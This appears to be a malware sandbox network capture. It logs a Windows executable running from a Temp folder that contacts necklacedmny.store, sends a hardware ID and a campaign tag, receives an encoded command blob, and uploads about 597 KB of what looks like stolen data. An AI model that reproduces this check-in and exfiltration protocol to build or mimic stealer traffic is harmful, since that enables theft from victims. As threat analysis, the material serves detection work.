2024-11-01 02:46:42 UTC	1016	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=inq114ll5jkj7ckrtopm2lasmn; expires=Mon, 24-Feb-2025 20:33:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pCP0N6yfbwganCZobtVF6It7QiZ0p0%2FcUi1jOkQoQonbrg14G1BKkEwDDmuVwQF%2B5sE6Hk4%2FTDQxm%2BFpoa2L0Nxeq9VIeHz0bgGRPOsMxSOav03j4d%2Frkn3QXcSblyJI89yz1WY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88e5279662c9f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1466&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1974096&cwnd=32&unsent_bytes=0&cid=2b09cb9b5f3cbf31&ts=889&x=0"
2024-11-01 02:46:42 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 02:46:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	58556	188.114.97.3	443	5916	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:43 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1276 Host: necklacedmny.store
2024-11-01 02:46:43 UTC	1276	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 36 30 35 32 32 41 45 44 34 30 42 43 32 32 33 41 37 30 45 46 33 44 43 41 42 44 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5560522AED40BC223A70EF3DCABDFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 02:46:43 UTC	1014	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ebdorcsp2o89fq342u8pbftb8r; expires=Mon, 24-Feb-2025 20:33:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ueF2TbgTkPBX6YEPCAqzvUhwq6%2B7vJCeK9EdOxK7TbfgDoXjBp0z1pHFxQMZjSKS0Bc4US1R8x2C3yKr%2BCg9C6gLWNoyA6SZTglblaljCMHcJUApBEG1fL1vr23ZwiB%2Fq00pDWU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88e58ab6446cb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1056&sent=7&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2195&delivery_rate=2709073&cwnd=251&unsent_bytes=0&cid=c208326523f0dc69&ts=372&x=0"
2024-11-01 02:46:43 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 02:46:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	58557	188.114.97.3	443	4600	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:43 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-01 02:46:43 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-01 02:46:44 UTC	1013	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:46:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qfa5d7uhbbo9iabmo99pqf0i5h; expires=Mon, 24-Feb-2025 20:33:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=008dszHRamWqNTRt49zLHejgiFEUDOz9y%2FWGIm7yH7nDFHV7ZHtZtFPUzJE%2BnyycVKTDm%2BproBe7uweSb4welUub9SA0hMIpZoOrc3b2VrP6p48O1J4OE2IVhNN1ZoVJz42v7tg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db88e5aefe76c5e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1059&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=2732075&cwnd=247&unsent_bytes=0&cid=3fd319887bd8d1c4&ts=472&x=0"
2024-11-01 02:46:44 UTC	356	IN	Data Raw: 63 63 35 0d 0a 72 58 4e 53 62 4d 62 6c 71 79 55 73 6a 79 77 66 67 6a 4f 38 54 4c 2f 2b 2b 43 63 51 52 57 66 48 48 52 35 72 52 6a 4a 2f 69 49 6a 57 55 53 52 4f 2f 4e 47 48 42 31 2f 71 44 69 58 32 51 63 6b 70 6b 39 79 5a 51 7a 4a 2f 41 61 5a 78 62 51 35 71 45 41 6e 6c 71 70 63 56 4d 77 43 31 67 49 63 48 53 66 63 4f 4a 64 6c 49 6e 69 6e 52 33 4d 49 46 64 53 38 46 70 6e 46 38 43 69 31 64 44 2b 54 72 78 52 38 31 42 4b 4f 47 7a 30 52 41 34 6b 6c 36 35 31 4c 57 49 74 61 54 6b 45 6f 79 61 55 57 69 5a 7a 78 52 5a 48 38 61 2f 4f 6e 67 45 69 45 48 35 4a 69 48 58 67 37 71 51 6a 32 34 45 64 30 70 33 5a 4b 65 51 33 73 74 44 36 39 35 66 51 38 73 51 68 62 75 34 4d 55 52 4e 67 57 70 6a 39 74 4a 53 75 56 43 66 4f 31 53 6e 6d 43 64 6d 34 49 46 4b 6d 64 57 6c 33 78 74 47 44 Data Ascii: cc5rXNSbMblqyUsjywfgjO8TL/++CcQRWfHHR5rRjJ/iIjWUSRO/NGHB1/qDiX2Qckpk9yZQzJ/AaZxbQ5qEAnlqpcVMwC1gIcHSfcOJdlIninR3MIFdS8FpnF8Ci1dD+TrxR81BKOGz0RA4kl651LWItaTkEoyaUWiZzxRZH8a/OngEiEH5JiHXg7qQj24Ed0p3ZKeQ3stD695fQ8sQhbu4MURNgWpj9tJSuVCfO1SnmCdm4IFKmdWl3xtGD
2024-11-01 02:46:44 UTC	1369	IN	Data Raw: 56 52 75 5a 46 65 50 4a 61 31 79 50 51 6e 4a 64 50 66 53 51 46 6f 6e 56 32 42 69 35 55 45 4f 66 73 7a 78 46 77 51 4f 53 41 30 51 63 57 72 57 31 34 38 46 62 53 4f 4a 2b 6d 32 6c 6f 38 50 6b 57 69 63 7a 78 52 5a 46 67 59 36 65 6e 45 48 6a 4d 47 72 35 58 4a 56 55 6a 67 53 32 2f 6d 56 4e 41 6b 33 6f 36 51 53 33 51 6b 44 4b 35 32 65 51 34 67 45 46 4f 71 37 64 64 52 61 45 36 46 69 73 4a 4c 52 50 70 4f 50 66 38 66 78 32 37 61 6b 4e 6f 64 4d 69 4d 45 6f 58 35 34 42 79 70 55 45 65 7a 6b 77 68 34 32 42 4b 53 41 77 30 39 47 37 45 4e 32 37 31 48 62 49 39 6d 61 6c 6b 52 33 5a 30 76 6c 65 47 52 4a 66 42 41 7a 37 65 6e 64 55 77 55 4e 71 6f 6e 4f 55 51 37 79 41 47 53 67 56 74 4a 75 68 64 79 55 51 48 30 31 42 4c 64 36 63 68 73 6f 56 52 76 6e 36 63 45 52 4e 51 6d 70 69 63 Data Ascii: VRuZFePJa1yPQnJdPfSQFonV2Bi5UEOfszxFwQOSA0QcWrW148FbSOJ+m2lo8PkWiczxRZFgY6enEHjMGr5XJVUjgS2/mVNAk3o6QS3QkDK52eQ4gEFOq7ddRaE6FisJLRPpOPf8fx27akNodMiMEoX54BypUEezkwh42BKSAw09G7EN271HbI9malkR3Z0vleGRJfBAz7endUwUNqonOUQ7yAGSgVtJuhdyUQH01BLd6chsoVRvn6cERNQmpic
2024-11-01 02:46:44 UTC	1369	IN	Data Raw: 41 47 53 67 56 74 4a 75 68 64 79 57 54 48 49 73 44 36 46 2f 65 77 51 68 55 78 72 70 35 38 67 62 50 67 6d 67 69 38 42 4b 53 4f 31 4a 65 65 56 44 32 79 66 52 6b 4e 6f 4c 4d 69 41 64 35 53 63 38 4a 69 4e 47 48 73 58 70 33 68 68 77 45 65 71 65 69 55 42 43 72 52 59 39 35 31 54 57 4a 64 75 55 6d 6c 64 33 4b 51 36 6b 64 58 6f 49 4b 56 77 62 36 75 76 50 46 7a 77 4f 6f 34 44 62 56 55 76 72 58 48 65 67 48 35 34 70 78 64 7a 43 42 55 51 33 45 72 52 70 50 6a 77 6e 58 68 50 74 2f 49 38 4f 66 68 66 6b 67 4d 55 48 46 71 31 46 66 65 78 57 31 69 6a 5a 6c 4a 56 4b 65 7a 55 45 71 58 46 75 44 69 52 5a 45 2b 58 6d 78 68 77 33 41 36 2b 4e 78 45 4e 4a 37 41 34 7a 6f 46 62 47 62 6f 58 63 72 46 56 2f 4b 79 75 75 63 33 56 4a 4f 78 34 45 71 75 33 44 55 57 68 4f 6f 49 76 42 54 55 48 Data Ascii: AGSgVtJuhdyWTHIsD6F/ewQhUxrp58gbPgmgi8BKSO1JeeVD2yfRkNoLMiAd5Sc8JiNGHsXp3hhwEeqeiUBCrRY951TWJduUmld3KQ6kdXoIKVwb6uvPFzwOo4DbVUvrXHegH54pxdzCBUQ3ErRpPjwnXhPt/I8OfhfkgMUHFq1FfexW1ijZlJVKezUEqXFuDiRZE+Xmxhw3A6+NxENJ7A4zoFbGboXcrFV/Kyuuc3VJOx4Equ3DUWhOoIvBTUH
2024-11-01 02:46:44 UTC	182	IN	Data Raw: 46 62 61 4b 4e 4c 63 31 41 56 31 50 30 58 39 50 31 4d 75 45 52 49 38 30 4b 72 51 58 79 6c 4f 6f 34 75 4a 48 77 37 68 54 58 48 6f 58 74 67 6e 30 5a 61 54 54 6e 34 73 41 61 6c 32 65 51 38 6c 56 52 6a 72 37 73 4d 62 4e 67 32 6e 69 4d 5a 49 52 71 30 41 50 65 64 4a 6e 6e 61 64 75 59 31 4f 66 43 46 46 75 6a 46 6c 53 53 4e 63 58 62 4b 71 77 78 67 32 43 4b 47 4c 79 45 46 47 36 45 5a 35 34 56 66 59 4c 64 4b 59 6e 30 52 39 49 77 6d 72 64 58 30 49 4b 46 73 53 34 65 2b 50 58 33 41 4a 76 4d 65 52 42 33 2f 75 57 47 72 77 58 5a 34 78 6b 34 58 61 51 0d 0a Data Ascii: FbaKNLc1AV1P0X9P1MuERI80KrQXylOo4uJHw7hTXHoXtgn0ZaTTn4sAal2eQ8lVRjr7sMbNg2niMZIRq0APedJnnaduY1OfCFFujFlSSNcXbKqwxg2CKGLyEFG6EZ54VfYLdKYn0R9IwmrdX0IKFsS4e+PX3AJvMeRB3/uWGrwXZ4xk4XaQ
2024-11-01 02:46:44 UTC	1369	IN	Data Raw: 33 37 61 37 0d 0a 6e 35 6e 58 65 56 2b 62 67 4d 75 58 68 6a 6c 37 38 77 65 4e 77 4f 69 69 38 4e 4f 52 75 74 42 64 50 4a 53 30 69 44 61 6b 70 5a 4c 66 79 30 47 71 44 38 79 53 53 4e 49 58 62 4b 71 34 78 59 39 49 4b 2b 4c 7a 67 64 52 6f 31 63 39 35 31 32 65 64 70 32 51 6b 45 6c 37 4a 77 79 67 64 33 63 41 49 56 45 57 37 2b 6e 4a 48 44 38 48 74 6f 33 4b 53 55 33 68 51 6e 76 68 55 73 77 6d 31 4e 7a 55 42 58 55 2f 52 66 30 2f 58 51 63 70 52 42 72 36 71 74 42 66 4b 55 36 6a 69 34 6b 66 44 75 35 50 63 75 4e 51 30 79 6a 55 6c 4a 70 44 64 79 67 49 71 33 68 37 43 53 6c 65 45 75 7a 69 77 68 30 37 41 4b 32 42 79 55 5a 45 72 51 41 39 35 30 6d 65 64 70 32 73 6d 55 56 79 50 45 57 36 4d 57 56 4a 49 31 78 64 73 71 72 64 47 7a 6b 4f 70 34 6a 4f 51 30 58 68 53 33 6a 76 55 74 Data Ascii: 37a7n5nXeV+bgMuXhjl78weNwOii8NORutBdPJS0iDakpZLfy0GqD8ySSNIXbKq4xY9IK+LzgdRo1c9512edp2QkEl7Jwygd3cAIVEW7+nJHD8Hto3KSU3hQnvhUswm1NzUBXU/Rf0/XQcpRBr6qtBfKU6ji4kfDu5PcuNQ0yjUlJpDdygIq3h7CSleEuziwh07AK2ByUZErQA950medp2smUVyPEW6MWVJI1xdsqrdGzkOp4jOQ0XhS3jvUt
2024-11-01 02:46:44 UTC	1369	IN	Data Raw: 67 77 56 31 4b 30 58 39 50 33 30 46 4b 31 4d 53 36 65 6e 4f 47 79 49 63 71 49 37 42 51 6b 4c 6d 51 48 76 79 56 39 45 6e 33 70 2b 54 51 6e 6f 72 44 36 5a 34 50 45 64 6b 56 77 57 71 73 6f 38 79 4a 78 36 70 78 39 59 4a 56 36 31 4a 63 61 41 4a 6e 69 62 51 6c 4a 42 42 64 53 6f 43 6f 33 5a 75 41 43 46 65 48 65 37 68 77 42 63 30 44 61 53 56 7a 30 4e 47 37 6b 4e 77 37 6c 4c 61 62 70 50 63 6e 56 30 79 66 30 57 58 63 6e 49 53 4b 31 63 4d 34 4b 72 51 58 79 6c 4f 6f 34 75 4a 48 77 37 70 51 47 2f 72 55 4e 55 6c 30 35 75 56 51 48 67 6e 43 71 46 38 63 67 49 6c 55 78 58 6e 35 38 45 62 4f 51 65 6a 69 38 31 41 44 71 4d 4f 65 76 67 52 68 6d 37 32 76 62 64 70 64 54 31 46 75 6a 46 6c 53 53 4e 63 58 62 4b 71 77 78 67 38 42 4b 2b 41 77 30 6c 48 34 30 56 76 38 6c 4c 61 4c 64 53 Data Ascii: gwV1K0X9P30FK1MS6enOGyIcqI7BQkLmQHvyV9En3p+TQnorD6Z4PEdkVwWqso8yJx6px9YJV61JcaAJnibQlJBBdSoCo3ZuACFeHe7hwBc0DaSVz0NG7kNw7lLabpPcnV0yf0WXcnISK1cM4KrQXylOo4uJHw7pQG/rUNUl05uVQHgnCqF8cgIlUxXn58EbOQeji81ADqMOevgRhm72vbdpdT1FujFlSSNcXbKqwxg8BK+Aw0lH40Vv8lLaLdS
2024-11-01 02:46:44 UTC	1369	IN	Data Raw: 79 45 47 6f 54 38 79 53 53 4e 49 58 62 4b 71 34 68 30 33 4a 36 4f 63 69 56 67 41 39 41 35 36 37 42 47 47 62 74 79 58 6b 45 70 2f 4a 41 4f 6d 64 48 6b 44 4a 56 63 56 35 2f 6a 4d 48 6a 38 4b 70 49 6a 50 51 55 2f 69 53 48 72 70 55 4e 59 70 6e 64 4c 61 51 6d 70 6e 58 65 56 52 65 77 6f 67 45 41 4b 6b 38 34 38 57 50 45 37 38 78 38 6c 4e 52 4f 64 41 66 65 64 44 32 43 66 64 6e 34 68 47 64 43 38 44 71 58 4e 78 41 53 31 51 47 4f 48 6e 78 42 77 32 44 71 2b 47 69 51 6b 4f 36 6c 59 39 75 42 48 76 49 39 4f 59 6c 45 5a 69 49 45 57 36 4d 57 56 4a 49 31 78 64 73 71 72 41 47 43 49 4a 6f 59 2f 41 52 30 44 6b 52 33 72 6b 55 74 38 71 30 5a 4f 54 52 6e 6f 6d 44 61 70 38 66 41 49 73 57 68 7a 6b 37 34 39 66 63 41 6d 38 78 35 45 48 59 65 35 4c 64 75 45 54 2b 53 6a 61 6b 4e 70 61 Data Ascii: yEGoT8ySSNIXbKq4h03J6OciVgA9A567BGGbtyXkEp/JAOmdHkDJVcV5/jMHj8KpIjPQU/iSHrpUNYpndLaQmpnXeVRewogEAKk848WPE78x8lNROdAfedD2Cfdn4hGdC8DqXNxAS1QGOHnxBw2Dq+GiQkO6lY9uBHvI9OYlEZiIEW6MWVJI1xdsqrAGCIJoY/AR0DkR3rkUt8q0ZOTRnomDap8fAIsWhzk749fcAm8x5EHYe5LduET+SjakNpa
2024-11-01 02:46:44 UTC	1369	IN	Data Raw: 56 4b 66 77 63 71 56 77 76 37 70 2b 67 4c 50 51 69 7a 6c 6f 6b 4a 44 75 73 4f 4a 62 41 66 6e 69 72 4d 33 4d 49 56 49 48 78 51 39 69 67 73 57 7a 73 65 42 4b 72 38 6a 30 6c 69 51 4f 53 56 69 52 38 4f 71 6b 31 76 38 6c 66 64 4f 4e 37 62 70 48 74 63 49 41 4f 67 65 47 78 4c 43 6c 73 4a 37 61 71 42 55 54 39 4f 2f 4c 36 4a 44 77 37 53 41 44 33 34 45 59 5a 75 36 4a 2b 55 53 33 55 78 46 4f 68 52 65 77 38 68 56 77 32 6f 78 4d 51 46 4e 30 37 71 78 38 38 48 46 72 30 41 50 65 52 41 6e 6e 61 4e 7a 73 45 51 49 58 42 56 39 32 41 79 45 47 52 47 58 62 4b 34 67 56 45 69 54 76 7a 48 6a 6b 52 63 2f 30 68 2b 39 6c 4b 5a 45 4f 4f 66 6a 45 68 39 4c 41 53 62 51 56 49 45 4a 56 4d 54 71 4e 76 5a 48 43 41 4e 6f 59 44 33 65 55 44 71 57 6e 72 75 56 39 35 75 6b 39 79 56 42 53 6f 65 52 Data Ascii: VKfwcqVwv7p+gLPQizlokJDusOJbAfnirM3MIVIHxQ9igsWzseBKr8j0liQOSViR8Oqk1v8lfdON7bpHtcIAOgeGxLClsJ7aqBUT9O/L6JDw7SAD34EYZu6J+US3UxFOhRew8hVw2oxMQFN07qx88HFr0APeRAnnaNzsEQIXBV92AyEGRGXbK4gVEiTvzHjkRc/0h+9lKZEOOfjEh9LASbQVIEJVMTqNvZHCANoYD3eUDqWnruV95uk9yVBSoeR
2024-11-01 02:46:44 UTC	1369	IN	Data Raw: 4a 66 41 42 50 73 62 2b 63 52 6d 42 63 75 38 6e 51 42 31 69 74 46 69 2b 75 45 63 78 75 68 64 7a 64 52 6d 41 31 41 36 5a 70 66 30 34 61 62 6a 72 6b 37 63 34 48 49 41 4f 6f 70 73 70 57 52 4e 4e 77 61 4f 4e 66 30 43 6e 4c 6a 64 6f 4c 4d 69 68 46 2f 55 59 38 51 57 52 76 55 36 72 79 6a 30 6c 77 4f 36 65 4a 78 30 42 59 2f 41 4e 61 37 6c 62 66 4f 4d 32 52 6c 6d 52 78 4e 67 2f 6c 4d 54 77 50 5a 41 68 50 70 4b 72 4c 41 48 42 57 39 4e 57 53 45 68 32 36 48 69 2f 2f 48 38 64 75 79 39 7a 43 46 7a 78 6e 46 2b 55 6e 50 45 34 6e 51 67 2f 73 36 64 6b 53 64 7a 43 61 6f 74 35 45 58 75 74 4e 51 39 35 36 30 69 6a 61 68 70 31 44 56 41 64 46 36 7a 39 7a 53 58 78 70 58 61 4b 71 38 46 39 77 46 75 54 66 69 58 4a 4e 34 30 42 36 39 6b 43 54 43 38 71 66 69 6b 4e 78 5a 30 76 6c 65 54 Data Ascii: JfABPsb+cRmBcu8nQB1itFi+uEcxuhdzdRmA1A6Zpf04abjrk7c4HIAOopspWRNNwaONf0CnLjdoLMihF/UY8QWRvU6ryj0lwO6eJx0BY/ANa7lbfOM2RlmRxNg/lMTwPZAhPpKrLAHBW9NWSEh26Hi//H8duy9zCFzxnF+UnPE4nQg/s6dkSdzCaot5EXutNQ9560ijahp1DVAdF6z9zSXxpXaKq8F9wFuTfiXJN40B69kCTC8qfikNxZ0vleT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	58563	188.114.97.3	443	5916	C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 02:46:47 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 597083 Host: necklacedmny.store
2024-11-01 02:46:47 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 36 30 35 32 32 41 45 44 34 30 42 43 32 32 33 41 37 30 45 46 33 44 43 41 42 44 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5560522AED40BC223A70EF3DCABDFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 02:46:47 UTC	15331	OUT	Data Raw: 72 58 74 e1 7d b2 26 2e 01 c5 29 11 4e b1 a4 63 88 73 c9 e1 c7 32 1f 51 9a 26 d1 cd 59 99 11 c6 d8 c8 99 aa 49 be 0d f3 16 15 b2 f2 f8 58 79 a3 d4 14 3d a9 2b 89 e5 93 71 75 c9 c5 8c ca cf d2 45 23 7c 46 0f c3 0f f5 62 63 c5 1f 14 71 8b f1 60 1c d5 3e c5 fb 65 a8 4a 37 48 e0 dc 91 22 5e 85 88 ac 78 fd 1b 26 84 fe fd d1 b0 9f c4 ac 10 9d 81 6a 9f 5c 17 eb 2b 1a 8e 64 88 10 d5 74 a7 0c 00 c6 f6 44 05 ee 34 89 92 31 6f 64 18 13 61 4f 78 9e 6c ad 4a ef 5b 32 87 63 06 61 b6 90 e0 96 04 a6 0f 0d c7 73 6f 45 6a 7c bc 3e 6e 1b a7 3e ae f4 f2 8b 03 f3 99 83 35 cb 9e 2e 1d b7 7d cb ef f1 1c 1c 94 76 e2 c6 8b 5a 3f f0 5d ab d0 dc 58 fa e3 2e b7 23 01 ca 44 45 b2 c2 48 b0 c0 34 25 5f d3 b5 81 d4 81 bd c8 c8 ee f7 93 dc 69 94 36 bf 61 c1 3d 34 16 bd 5d 1f b6 cf d2 10 Data Ascii: rXt}&.)Ncs2Q&YIXy=+quE#\|Fbcq`>eJ7H"^x&j\+dtD41odaOxlJ[2casoEj\|>n>5.}vZ?]X.#DEH4%_i6a=4]
2024-11-01 02:46:47 UTC	15331	OUT	Data Raw: c4 0c 8e 88 e4 9d 22 96 67 17 e6 7b e6 2b d7 3b 0a ad 0f f2 91 f5 4f 58 ab d6 0a 48 7a fd 28 6b 0f c3 0f 98 6f 1c bb dd cf 7d 02 13 98 f5 6b e6 03 2d 29 05 95 ec e6 89 ce 47 1f c3 2b 44 6f d3 7f f8 8a 46 bd 28 e5 bd ff 11 49 e8 ea 60 bf 70 20 78 f4 76 1a ce 1f c8 5c 5b 78 33 5c dd fb 41 95 d4 70 64 f7 1d 76 67 59 ed 78 62 b5 57 51 d5 fc 7a c8 b0 57 d9 c8 64 38 77 25 b3 aa 6a 61 f3 43 88 df ec d1 32 f2 97 bf 5f 43 8c 77 01 dc 4f 4e 5a 3f cd 02 fe fb 91 59 be d2 a1 af 0e d7 15 70 17 cf b3 06 33 03 77 86 be 88 39 6f 1c 52 90 93 5a da fc 71 7b 8d 3e fa af 9a b0 89 f3 d7 d7 1b 19 a2 63 cb f7 1d aa e7 bf 85 b3 c6 9e 0a d6 74 fc 5e 33 f9 93 c2 b7 1a 4e 47 15 b3 48 7b 6e 24 ed a1 77 f9 ab dc be 3e 2c 6c 65 cc 29 71 a8 ba fb 6e a8 e4 e6 3f 43 ec f5 aa 7a fe 1c 96 Data Ascii: "g{+;OXHz(ko}k-)G+DoF(I`p xv\[x3\ApdvgYxbWQzWd8w%jaC2_CwONZ?Yp3w9oRZq{>ct^3NGH{n$w>,le)qn?Cz
2024-11-01 02:46:47 UTC	15331	OUT	Data Raw: 8d bc 4a 4c d7 f3 3c 0e d0 e1 d6 3c 3e 74 69 5b 5c 0f bd b9 df bf 3e c8 cb 7f eb 4f 3c 9c 36 73 8b 7e d3 82 2f 7d fd fe 71 cd 17 c5 e0 04 f3 e3 42 a5 be 2b a4 49 ed d0 9f 58 ec 76 80 0f ff a5 cd 3f e9 ab 5e df f8 92 1b c7 14 b0 2e 44 b2 2a e6 5e 39 26 8b 89 f7 45 6c 92 74 d3 52 aa 2b 65 3c 1b 7a 03 8a 9a a1 7f 99 13 7f b6 c0 52 9f e5 53 18 6d c6 cf 26 1c 06 98 75 7f 46 d3 3d b7 4e 1f 6e e4 9d ff 8a 8a b4 7e be 43 f2 c5 0c 00 9e 9d 8a 33 98 af 9c ac 7b fe 9b cb fa 6f 22 a7 4f fb 96 52 b2 36 ba 69 97 f5 c6 7b 5a 46 5f 48 fa 9e 0b 83 3f af c6 b3 61 88 5b 32 8a f3 58 75 3b a6 03 ef e2 82 27 5f 5d 30 33 58 91 b5 1d b5 a3 3a 38 5a e2 6c 54 40 32 77 d9 d3 74 ed de 17 ea 4f d6 40 9e 29 7d ee 51 f1 ce dd fd 5f 87 ec b7 03 f4 77 0a 4b c0 70 e2 67 24 89 a6 40 33 e2 Data Ascii: JL<<>ti[\>O<6s~/}qB+IXv?^.D*^9&EltR+e<zRSm&uF=Nn~C3{o"OR6i{ZF_H?a[2Xu;'_]03X:8ZlT@2wtO@)}Q_wKpg$@3
